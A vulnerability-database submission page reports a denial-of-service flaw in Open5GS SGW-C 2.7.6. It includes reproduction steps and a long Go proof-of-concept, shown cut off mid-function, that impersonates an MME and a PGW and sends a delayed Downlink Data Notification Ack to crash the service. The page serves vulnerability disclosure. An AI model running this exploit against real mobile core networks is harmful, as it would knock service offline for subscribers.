Submit #735339: Open5GS SGWC v2.7.6 Denial of Serviceinfo

TitleOpen5GS SGWC v2.7.6 Denial of Service
Description### CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Description SGW-C can be crashed by sending a delayed GTPv2-C Downlink Data Notification Ack (DDN Ack) on S11 after the related bearer has been removed. ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main import ( "flag" "fmt" "log" "math/rand" "net" "os" "strconv" "strings" "sync/atomic" "time" gtpv1msg "github.com/wmnsk/go-gtp/gtpv1/message" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" gtpv2msg "github.com/wmnsk/go-gtp/gtpv2/message" ) // PB3-001 PoC: DDN Ack after bearer deletion triggers ogs_assert(bearer) // Target: Open5GS SGW-C sgwc_s11_handle_downlink_data_notification_ack // Flow: // 1) Act as MME: send CreateSessionRequest to SGW-C (S11) with eNB S1-U F-TEID. // 2) Act as PGW: respond to SGW-C's S5-C CreateSessionRequest. // 3) (Optional) Act as MME: send ReleaseAccessBearersRequest. // 4) Trigger downlink data on SGW-U so SGW-C sends DDN. // 5) Act as MME: send DeleteSessionRequest (optionally wait for DSR). // 6) Act as MME: send DDN Ack after delay -> bearer lookup may be NULL -> assert. func main() { runPGW := flag.Bool("run-pgw", true, "Start embedded PGW-C mock") pgwBind := flag.String("pgw-bind", ":2123", "PGW-C listen address (host:port)") pgwPAA := flag.String("pgw-paa", "x.x.x.x", "IPv4 PAA to return in CSR") pgwDefEBI := flag.Uint("pgw-ebi", 5, "Default EPS Bearer ID to return if none in CSR") pgwCtrlTeid := flag.Uint("pgw-ctrl-teid", 0, "PGW S5C TEID to advertise (0=random non-zero)") pgwUpTeid := flag.Uint("pgw-up-teid", 0, "PGW S5U TEID to advertise (0=random non-zero)") pgwIgnoreMBR := flag.Bool("pgw-ignore-mbr", false, "Do not respond to ModifyBearerRequest") dumpSGWS5U := flag.String("dump-sgw-s5u", "", "Write SGW S5-U TEID/IP from CSR to file (optional)") target := flag.String("target", "", "SGW-C S11 IP (required)") port := flag.Int("port", 2123, "GTP-C port") apn := flag.String("apn", "internet", "APN to request") imsi := flag.String("imsi", "001011234567890", "IMSI to include in CSR") mcc := flag.String("mcc", "001", "Serving network MCC") mnc := flag.String("mnc", "01", "Serving network MNC") sgwTEID := flag.Uint("sgw-teid", 0, "Skip CSR: use this SGW S11 TEID directly") bearerEbi := flag.Uint("bearer-ebi", 5, "Existing bearer EBI when using --sgw-teid") pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP for S5/S8 (default: target)") mmeTEID := flag.Uint("mme-teid", 0, "MME S11 TEID to advertise (0=random)") pgwTEID := flag.Uint("pgw-teid", 0, "PGW S5/S8 TEID to advertise in CSR (0=random)") enbIP := flag.String("enb-ip", "x.x.x.x", "eNB S1-U IPv4 for CSR") enbTEID := flag.Uint("enb-teid", 0, "eNB S1-U TEID for CSR (0=random non-zero)") laddr := flag.String("laddr", "", "Local IP to bind") seq := flag.Uint("seq", 0, "Base GTPv2 sequence number (0=random)") sendRABR := flag.Bool("send-rabr", true, "Send Release Access Bearers Request before waiting for DDN") deleteSession := flag.Bool("delete-session", true, "Send Delete Session Request before DDN Ack") ackDelay := flag.Duration("ack-delay", 2*time.Second, "Delay between delete and DDN Ack") waitDDN := flag.Duration("wait-ddn", 15*time.Second, "How long to wait for DDN") waitDSR := flag.Bool("wait-dsr", false, "Wait for DeleteSessionResponse before sending DDN Ack") waitDSRTimeout := flag.Duration("wait-dsr-timeout", 5*time.Second, "Timeout when waiting for DeleteSessionResponse") sendDownlink := flag.Bool("send-downlink", false, "Send one GTP-U TPDU to trigger DDN (requires --uaddr and --u-teid)") uaddr := flag.String("uaddr", "", "SGW-U GTP-U IP for downlink trigger") uport := flag.Int("uport", 2152, "GTP-U port for downlink trigger") uTeid := flag.Uint("u-teid", 0, "GTP-U TEID for downlink trigger") uTeidFile := flag.String("u-teid-file", "", "Read SGW-U S5-U TEID/IP from file (format: teid=0x... ip=x.x.x.x)") uTeidWait := flag.Duration("u-teid-wait", 2*time.Second, "Wait for u-teid-file or embedded PGW info") flag.Parse() if *target == "" { log.Fatal("Error: --target is required") } if *bearerEbi > 255 { log.Fatalf("bearer-ebi out of uint8 range: %d", *bearerEbi) } rand.Seed(time.Now().UnixNano()) conn, localIP := dialGTPv2(*target, *port, *laddr) defer conn.Close() var uplaneCh chan uPlaneInfo if *runPGW { uplaneCh = make(chan uPlaneInfo, 1) if *pgwIP == "" { if host := hostFromAddrMaybe(*pgwBind); host != "" { *pgwIP = host } } if *pgwIP == "" { *pgwIP = localIP } pgwConn, err := startPGWMock(*pgwBind, *pgwPAA, uint8(*pgwDefEBI), uint32(*pgwCtrlTeid), uint32(*pgwUpTeid), *pgwIgnoreMBR, *dumpSGWS5U, *pgwIP, uplaneCh) if err != nil { log.Fatalf("start PGW mock: %v", err) } defer pgwConn.Close() time.Sleep(150 * time.Millisecond) } else if *pgwIP == "" { *pgwIP = *target } baseSeq := initBaseSeq(uint32(*seq)) mmeTeid := randNonZeroUint32(uint32(*mmeTEID)) pgwTeid := randNonZeroUint32(uint32(*pgwTEID)) enbTeid := randNonZeroUint32(uint32(*enbTEID)) sess := sessionInfo{ sgwTeid: uint32(*sgwTEID), mmeTeid: mmeTeid, ebi: uint8(*bearerEbi), localIP: localIP, } seqVal := baseSeq if sess.sgwTeid == 0 { log.Printf("[*] Sending CreateSessionRequest seq=0x%x mme-teid=0x%x pgw-teid=0x%x", seqVal, mmeTeid, pgwTeid) csr, err := buildCSR(seqVal, *imsi, *apn, localIP, *pgwIP, *mcc, *mnc, mmeTeid, pgwTeid, enbTeid, *enbIP) if err != nil { log.Fatalf("build CSR: %v", err) } if err := sendMessage(conn, csr); err != nil { log.Fatalf("send CSR: %v", err) } sgwTeid, ebi, err := waitCSRResponse(conn, 4*time.Second) if err != nil { log.Fatalf("wait CSR response: %v", err) } sess.sgwTeid = sgwTeid sess.ebi = ebi log.Printf("[+] SGW S11 TEID=0x%x (EBI=%d)", sess.sgwTeid, sess.ebi) seqVal = nextSeq(seqVal) } else { log.Printf("[*] Using provided SGW S11 TEID=0x%x (EBI=%d)", sess.sgwTeid, sess.ebi) } if *sendRABR { if err := sendRABRequest(conn, sess, seqVal); err != nil { log.Fatalf("send RABR: %v", err) } log.Printf("[+] Sent ReleaseAccessBearersRequest seq=0x%x", seqVal) seqVal = nextSeq(seqVal) } if *sendDownlink { uAddrVal := *uaddr uTeidVal := uint32(*uTeid) if uTeidVal == 0 && *uTeidFile != "" { fileIP, fileTeid, err := readUPlaneInfo(*uTeidFile, *uTeidWait) if err != nil { log.Fatalf("read u-teid-file: %v", err) } if uAddrVal == "" && fileIP != "" { uAddrVal = fileIP } if uTeidVal == 0 { uTeidVal = fileTeid } } if (uAddrVal == "" || uTeidVal == 0) && uplaneCh != nil { ip, teid, err := waitUPlaneInfo(uplaneCh, *uTeidWait) if err != nil { log.Fatalf("wait PGW u-plane info: %v", err) } if uAddrVal == "" && ip != "" { uAddrVal = ip } if uTeidVal == 0 { uTeidVal = teid } } if uAddrVal == "" || uTeidVal == 0 { log.Fatal("send-downlink requires --uaddr/--u-teid, --u-teid-file, or embedded PGW info") } if err := sendGTPU(uAddrVal, *uport, uTeidVal); err != nil { log.Fatalf("send GTP-U: %v", err) } log.Printf("[+] Sent GTP-U TPDU to %s:%d teid=0x%x", uAddrVal, *uport, uTeidVal) } log.Printf("[*] Waiting for Downlink Data Notification (timeout %s)...", *waitDDN) ddnSeq, ddnEbi, err := waitForDDN(conn, *waitDDN) if err != nil { log.Fatalf("wait DDN: %v", err) } if ddnEbi != 0 { sess.ebi = ddnEbi } log.Printf("[+] Received DDN seq=0x%x ebi=%d", ddnSeq, sess.ebi) if *deleteSession { if err := sendDeleteSessionRequest(conn, sess, seqVal); err != nil { log.Fatalf("send DSR: %v", err) } log.Printf("[+] Sent DeleteSessionRequest seq=0x%x (linked-ebi=%d)", seqVal, sess.ebi) seqVal = nextSeq(seqVal) if *waitDSR { if err := waitForDSR(conn, *waitDSRTimeout); err != nil { log.Fatalf("wait DSR: %v", err) } } if *ackDelay > 0 { time.Sleep(*ackDelay) } } if err := sendDDNAck(conn, sess.sgwTeid, ddnSeq); err != nil { log.Fatalf("send DDN Ack: %v", err) } log.Printf("[+] Sent DDN Ack seq=0x%x teid=0x%x", ddnSeq, sess.sgwTeid) log.Println("[*] Monitor SGW-C for PB3-001/PB3-002 assertion after delayed DDN Ack.") } type sessionInfo struct { sgwTeid uint32 mmeTeid uint32 ebi uint8 localIP string } type uPlaneInfo struct { ip string teid uint32 } func dialGTPv2(target string, port int, laddr string) (*net.UDPConn, string) { var lp *net.UDPAddr if laddr != "" { var err error lp, err = net.ResolveUDPAddr("udp", net.JoinHostPort(laddr, "0")) if err != nil { log.Fatalf("resolve laddr: %v", err) } } rp, err := net.ResolveUDPAddr("udp", net.JoinHostPort(target, fmt.Sprintf("%d", port))) if err != nil { log.Fatalf("resolve raddr: %v", err) } conn, err := net.DialUDP("udp", lp, rp) if err != nil { log.Fatalf("dial udp: %v", err) } localIP := "" if udpAddr, ok := conn.LocalAddr().(*net.UDPAddr); ok && udpAddr.IP != nil { localIP = udpAddr.IP.String() } if localIP == "" { log.Fatal("local IP unknown (set --laddr)") } log.Printf("[*] Target %s (local %s)", rp, localIP) return conn, localIP } func initBaseSeq(v uint32) uint32 { if v != 0 { return v } seq := rand.Uint32() & 0x00ffffff if seq == 0 { seq = 1 } return seq } func nextSeq(v uint32) uint32 { v++ if v == 0 || v > 0x00ffffff { return 1 } return v } func randNonZeroUint32(v uint32) uint32 { if v != 0 { return v } r := rand.Uint32() if r == 0 { return 1 } return r } func buildCSR(seq uint32, imsi, apn, localIP, pgwIP, mcc, mnc string, mmeTEID, pgwTEID, enbTEID uint32, enbIP string) (*gtpv2msg.CreateSessionRequest, error) { if loca
Source⚠️ https://github.com/open5gs/open5gs/issues/4230
User
 FrankyLin (UID 94345)
Submission01/09/2026 02:52 PM (2 months ago)
Moderation01/18/2026 08:33 AM (9 days later)
StatusAccepted
VulDB entry341732 [Open5GS up to 2.7.6 sgwc src/sgwc/s11-handler.c sgwc_s11_handle_downlink_data_notification_ack denial of service]
Points20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!